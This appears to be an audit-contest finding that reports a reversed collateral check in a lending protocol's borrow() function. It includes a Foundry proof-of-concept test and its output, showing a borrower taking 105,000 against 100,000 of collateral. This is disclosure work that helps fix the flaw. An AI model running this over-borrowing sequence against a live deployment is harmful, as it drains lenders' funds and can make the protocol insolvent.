Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect Collateralization Check in LendingPool Allows Excessive Borrowing

Summary

The LendingPool contract contains a critical flaw in its collateral validation logic that allows users to borrow significantly more than their collateral ratio should permit. Due to a reversed comparison in the collateralization check, borrowers can repeatedly borrow amounts that would typically exceed their maximum borrowing capacity, potentially leading to undercollateralized positions and protocol insolvency.

Vulnerability Details

The issue exists in the LendingPool.sol::borrow() function where the collateralization check is implemented incorrectly:

if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}

This check compares whether the collateral value is less than the scaled debt value (userTotalDebt * liquidationThreshold), which is the inverse of the correct comparison. The proper validation should ensure that the new total debt after borrowing remains below the maximum allowed by the collateral value.

For example, with a liquidation threshold of 80%, a user with 100,000 in collateral should only be able to borrow up to 80,000; for simplicity, lets assume usageIndex = 1.0.

However, the current implementation allows users to borrow beyond this limit because the check is reversed, essentially comparing 100,000 < (90,000 * 0.8) which evaluates to 100,000 < 72,000, allowing the transaction to proceed when it should revert.

Additionally, because a user must be flagged for liquidation through LendingPool.sol::initiateLiquidation() function call, the user in one txn can call borrow infinitesimally until the check reaches 100,000, by which point they would have far exceeded their collateral value.

Building from the last example, a user then calls LendingPool.sol::borrow() with amount = 15,000.

if (isUnderLiquidation[msg.sender]) revert CannotBorrowUnderLiquidation();

This check will pass because the user hasn't been flagged for liquidation yet.

uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;

userTotalDebt == 105,000.

Thereafter, the check will evaluate to:
100000 < 105000 * 0.8 = 84000. At this point, they've already taken out a a loan greater than the principle but are able to continue until the check fails.

Likelihood

High

The vulnerability is easily exploitable as it requires no special conditions or complex setup. Any user with deposited collateral can execute this attack by making multiple borrow calls in the same transaction before liquidation checks occur. The bug exists in a core function that will be frequently used, making it highly likely to be discovered and exploited.

Impact

High

This vulnerability allows users to:

  1. Borrow significantly more than their collateral should permit

  2. Potentially drain the protocol's lending pools

  3. Lead to bad debt accumulation and protocol insolvency

Proof of Concept

  1. Convert the project into a foundry project, ensuring test in foundry.toml points to a designated test directory.

  2. Comment out the forking object from the hardhat.congif.cjs file:

networks: {
hardhat: {
mining: {
auto: true,
interval: 0
},
//forking: {
// url: process.env.BASE_RPC_URL,
//},
  1. Copy the following test into the directory:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "contracts/core/tokens/DebtToken.sol";
import "contracts/core/tokens/RToken.sol";
import "contracts/core/tokens/RAACNFT.sol";
import "contracts/core/pools/LendingPool/LendingPool.sol";
import "contracts/core/primitives/RAACHousePrices.sol";
import "contracts/libraries/math/PercentageMath.sol";
import "contracts/libraries/math/WadRayMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MockERC20 is ERC20 {
constructor() ERC20("Mock", "MCK") {}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}
contract BorrowCollateralCheckTest is Test {
using PercentageMath for uint256;
using WadRayMath for uint256;
DebtToken public debtToken;
RToken public rToken;
RAACNFT public nft;
RAACHousePrices public priceOracle;
LendingPool public lendingPool;
MockERC20 public mockCrvUSD;
address borrower = address(0x1);
address lender = address(0x2);
function setUp() public {
// Deploy mock crvUSD and core contracts
mockCrvUSD = new MockERC20();
rToken = new RToken("RToken", "RTKN", address(this), address(mockCrvUSD));
debtToken = new DebtToken("DebtToken", "DEBT", address(this));
priceOracle = new RAACHousePrices(address(this));
nft = new RAACNFT(address(mockCrvUSD), address(priceOracle), address(this));
lendingPool = new LendingPool(
address(mockCrvUSD),
address(rToken),
address(debtToken),
address(nft),
address(priceOracle),
1e27 // Initial prime rate of 1.0 in RAY
);
// Set up contract connections
debtToken.setReservePool(address(lendingPool));
rToken.setReservePool(address(lendingPool));
// Fund accounts
mockCrvUSD.mint(borrower, 100_000e18); // For NFT purchase
mockCrvUSD.mint(lender, 500_000e18); // For lending pool liquidity
// Set up approvals for borrower
vm.startPrank(borrower);
mockCrvUSD.approve(address(lendingPool), type(uint256).max);
mockCrvUSD.approve(address(nft), type(uint256).max);
vm.stopPrank();
// Set up NFT price
vm.prank(address(this));
priceOracle.setOracle(address(this));
priceOracle.setHousePrice(1, 100_000e18); // NFT worth 100,000
// Add liquidity to lending pool
vm.startPrank(lender);
mockCrvUSD.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(500_000e18);
vm.stopPrank();
}
function testOverborrowing() public {
// Borrower mints and deposits NFT
vm.startPrank(borrower);
nft.mint(1, 100_000e18);
nft.approve(address(lendingPool), 1);
lendingPool.depositNFT(1);
// First borrow - 90,000 (should succeed as it's under the 80% threshold)
lendingPool.borrow(90_000e18);
// Second borrow attempt in same transaction
// This should revert but won't due to the backwards check
lendingPool.borrow(15_000e18);
vm.stopPrank();
// Check final borrowed amount
uint256 totalDebt = lendingPool.getUserDebt(borrower);
console.log("Total borrowed:", totalDebt / 1e18);
console.log("Collateral value:", lendingPool.getUserCollateralValue(borrower) / 1e18);
// The total debt (105,000) is now higher than the maximum allowed by the 80% threshold (80,000)
assertTrue(totalDebt > lendingPool.getUserCollateralValue(borrower).percentMul(8000),
"User was able to borrow more than collateral threshold allows");
// Show user now has 105,000 crvUSD
assertTrue(IERC20(address(mockCrvUSD)).balanceOf(borrower) == 1.05e23);
// Show user has incurred 105,000 debt onto the protocol
assertTrue(IERC20(address(debtToken)).balanceOf(borrower) == 1.05e23);
}
}
  1. Run Forge test

Output:

Ran 1 test for test-foundry/IncorrectCollateralCheck.t.sol:BorrowCollateralCheckTest
[PASS] testOverborrowing() (gas: 554522)
Logs:
Total borrowed: 105000
Collateral value: 100000

Recommendations

The collateralization check should be modified to ensure the new total debt remains under the maximum allowed borrowing power

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.